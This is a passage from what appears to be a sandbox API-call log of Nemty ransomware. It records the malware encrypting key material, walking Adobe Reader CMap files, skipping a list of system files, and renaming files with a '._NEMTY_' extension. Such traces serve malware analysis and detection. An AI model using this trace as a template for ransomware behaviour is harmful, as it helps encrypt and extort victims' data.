lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2fce5d10, dwHighDateTime=0x1d561e8)) [0208.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2fce5d10, dwHighDateTime=0x1d561e8)) [0208.324] GetLastError () returned 0x5 [0208.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0208.324] GetLastError () returned 0x5 [0208.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0208.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.324] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0208.324] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0208.324] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0208.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0208.324] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="h4FCr468hvo5kZUJKZ1qvyTx5skLTnXXt3y0r/DrAIiGmguXaFHGpERO7dnpVq0I\r\npwRyS0C/grQKogqFq4LCOQmd8HG5N0OG0vlUBlW2QQjsgQ38+duzabIBkJXRW8tn\r\n/PfiittWLauEEAcm6jsFj50OxGr9wJ2McnLzJONlSrMZt89NRlI79AaU2fzMZZND\r\ntCLDSRpowC2gQpFvbAxWA7yoGxj3nh4a0umtvDuozEmSC+w1X6TSQAC7Hx4tYTyj\r\nb2IT+EmtMW75feNZnaeKMJ4N83UjDcYfOBfmjVH7HCVOdD9tEyfmFCCcVznjWC5t\r\neT+f4PAtz3QyE111aSUkxQ==\r\n", pcchString=0x653e91c) returned 1 [0208.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0208.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0208.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0208.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0208.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0208.325] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0208.327] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0208.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0208.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.406] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.406] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.416] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.416] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.425] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0208.438] CloseHandle (hObject=0xffffffff) returned 0 [0208.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0208.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0208.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0208.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0208.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.438] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-v._nemty_kgobjgd_")) returned 0 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0208.438] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x604d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-H", cAlternateFileName="HKSCS-~1")) returned 1 [0208.438] lstrcmpiW (lpString1="HKscs-B5-H", lpString2=".") returned 1 [0208.438] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="..") returned 1 [0208.438] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="...") returned 1 [0208.438] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="windows") returned -1 [0208.438] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="$RECYCLE.BIN") returned 1 [0208.438] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="rsa") returned -1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="NTDETECT.COM") returned -1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="ntldr") returned -1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="MSDOS.SYS") returned -1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="IO.SYS") returned -1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="boot.ini") returned 1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="boot.ini") returned 1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="AUTOEXEC.BAT") returned 1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="ntuser.dat") returned -1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="desktop.ini") returned 1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="CONFIG.SYS") returned 1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="RECYCLER") returned -1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="BOOTSECT.BAK") returned 1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="bootmgr") returned 1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="programdata") returned -1 [0208.439] lstrcmpiW (lpString1="HKscs-B5-H", lpString2="appdata") returned 1 [0208.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKscs-B5-H", lpUsedDefaultChar=0x0) returned 10 [0208.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKscs-B5-H", lpUsedDefaultChar=0x0) returned 10 [0208.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-H", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKscs-B5-H", lpUsedDefaultChar=0x0) returned 10 [0208.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-H", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKscs-B5-H", lpUsedDefaultChar=0x0) returned 10 [0208.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0208.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0208.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0208.439] Sleep (dwMilliseconds=0x5) [0208.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2fe16810, dwHighDateTime=0x1d561e8)) [0208.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2fe16810, dwHighDateTime=0x1d561e8)) [0208.445] GetLastError () returned 0x5 [0208.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0208.445] GetLastError () returned 0x5 [0208.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0208.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.445] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0208.445] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0208.445] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0208.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0208.445] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="9nlNoykox1lsTRIq1O8HegumqzbICk9uyWm/P58wV0oyo+dHDGbMsl5vprsyVNhV\r\nNU+F40/BTA5XVyn0yF/SxaqouCMEZ0jYTpUvaWIX/CD1GQx+BWyqqsYEsvFM6xRO\r\nX5q+fcx5+wIjgULM+h9Ht863lwbw2dC3ow5PTvUSI/WcBwJls6jSrvkhivykNS1s\r\nmSVs4j5xUK8bYv5Y6HCtW6d32Aq2u2Gpi92LnjL8z8fs8Gjw11avowjyXA/2Aapw\r\ngpjq8i2V/854T4j9ZppaK25AHveUTkebrnCdY1Cic6LDHiAzQXD/vqAmGQXgyCjc\r\ntw4LE5Dfw0z2V/FIhaOcZA==\r\n", pcchString=0x653e91c) returned 1 [0208.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0208.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0208.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0208.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0208.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0208.446] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0208.446] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: 